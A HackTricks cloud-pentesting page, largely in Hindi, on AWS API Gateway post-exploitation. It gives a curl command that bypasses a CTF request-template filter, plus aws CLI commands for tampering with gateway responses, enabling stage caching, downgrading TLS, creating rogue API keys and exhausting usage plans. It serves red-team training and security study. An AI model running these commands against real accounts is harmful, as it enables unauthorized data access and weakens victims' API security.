AWS - API Gateway Post Exploitation

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

API Gateway

अधिक जानकारी के लिए देखें:

AWS - API Gateway Enum

एक्सपोज़ न किए गए APIs तक पहुँचें

आप https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint में com.amazonaws.us-east-1.execute-api सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को एक्सपोज़ करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें।
फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच सकते हैं और इसलिए उस गेटवे API को कॉल कर सकते हैं जो पहले एक्सपोज़ नहीं किया गया था।

अनुरोध शरीर पासथ्रू को बायपास करें

यह तकनीक इस CTF लेख में पाई गई थी।

जैसा कि AWS दस्तावेज़ में PassthroughBehavior अनुभाग में संकेतित किया गया है, डिफ़ॉल्ट रूप से, मान WHEN_NO_MATCH , जब अनुरोध के Content-Type हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा।

इसलिए, CTF में API गेटवे में एक एकीकरण टेम्पलेट था जो फ्लैग को प्रतिक्रिया में एक्सफिल्ट्रेट होने से रोक रहा था जब अनुरोध Content-Type: application/json के साथ भेजा गया था:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

हालांकि, Content-type: text/json के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकेगा।

अंत में, चूंकि API Gateway केवल Get और Options की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, जिसमें क्वेरी को बॉडी में भेजकर और हेडर X-HTTP-Method-Override: GET का उपयोग किया गया:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

In the Enumeration section you can see how to obtain the usage plan of the keys. If you have the key and it's limited to X usages per month, you could just use it and cause a DoS.

The API Key just need to be included inside a HTTP header called x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

An attacker with the permissions apigateway:UpdateGatewayResponse and apigateway:CreateDeployment can modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।

note

परीक्षण की आवश्यकता है

apigateway:UpdateStage, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateStage और apigateway:CreateDeployment की अनुमति है, वह एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफ़िक को बाधित या इंटरसेप्ट करना।

note

परीक्षण की आवश्यकता है

apigateway:PutMethodResponse, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:PutMethodResponse और apigateway:CreateDeployment की अनुमति है, एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।

note

परीक्षण की आवश्यकता है

apigateway:UpdateRestApi, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateRestApi और apigateway:CreateDeployment की अनुमति है, API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जिससे API की सुरक्षा कमजोर हो सकती है

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुंच की अनुमति देना या संवेदनशील जानकारी को उजागर करना।

note

परीक्षण की आवश्यकता है

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

एक हमलावर जिसके पास अनुमतियाँ apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, और apigateway:CreateUsagePlanKey हैं, नए API कुंजी बना सकता है, उन्हें उपयोग योजनाओं के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

संभावित प्रभाव: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को बायपास करना।

note

परीक्षण की आवश्यकता है

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें